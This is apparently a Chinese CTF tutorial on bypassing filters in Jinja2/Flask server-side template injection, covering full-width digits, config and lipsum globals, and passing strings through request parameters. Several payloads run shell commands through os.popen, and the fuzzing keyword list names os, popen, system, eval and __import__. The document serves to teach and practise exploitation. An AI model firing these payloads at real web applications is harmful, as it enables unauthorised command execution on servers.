前言
SSTI(Server-Side Template Injection)是 Web 安全中常见且危害较大的漏洞类型。在 CTF 竞赛或实战渗透中,往往需要针对不同的过滤规则构造特定的 Payload。本文结合多个经典案例,梳理从基础绕过到复杂过滤场景下的处理思路,重点讲解 Jinja2 模板引擎的利用技巧。
基础概念回顾
基于 Flask/Django 等框架的 SSTI 通常涉及访问 Python 内置对象。掌握 __class__、__subclasses__、__globals__ 等魔术属性的调用链是核心基础。后续所有题目均建立在此之上,建议先熟悉基础路径再深入。
数字过滤绕过:全角字符
当过滤器限制特定数字(如禁止使用 132)时,可利用全角数字进行绕过。Windows 输入法可直接切换输入全角符号,对比半角:
全角:1234567890 半角:1234567890
Payload 示例:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
若无法确定索引值,可尝试不传数字,直接利用 config 对象:
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
此外,利用全局变量(如 lipsum、url_for)获取 __builtins__ 也是常用手段,比传统的 __subclasses__() 更简洁,且能规避部分类名过滤:
?name={{ lipsum.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()') }}
引号过滤绕过:Request 参数
当单双引号被过滤时,可将字符串从模板内部移至 URL 参数中,通过 request 对象动态读取。
| 属性 | 作用 | 适用场景 |
|---|---|---|
request.args | GET 请求参数 | 常规 GET 参数 |
request.values | GET 和 POST 所有参数 | 最通用,替代 args |
request.cookies | Cookie 中的值 | 参数被过滤时使用 |
request.headers | HTTP 头信息 | 终极备选 |
推荐组合如下:
?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}&a=os&b=cat /flag
综合过滤与 Fuzzing
面对多重过滤(如同时限制中括号、引号、args 等),手动构造效率较低,可借助工具进行 Fuzzing。
1. 字典生成
收集可能存在的关键字段,包括特殊字符、Python 内置模块及属性名:
[ ] _ { } {{ }} {% %} {%if {%endif join() os popen system eval open __import__ __class__ __bases__ __subclasses__ ...


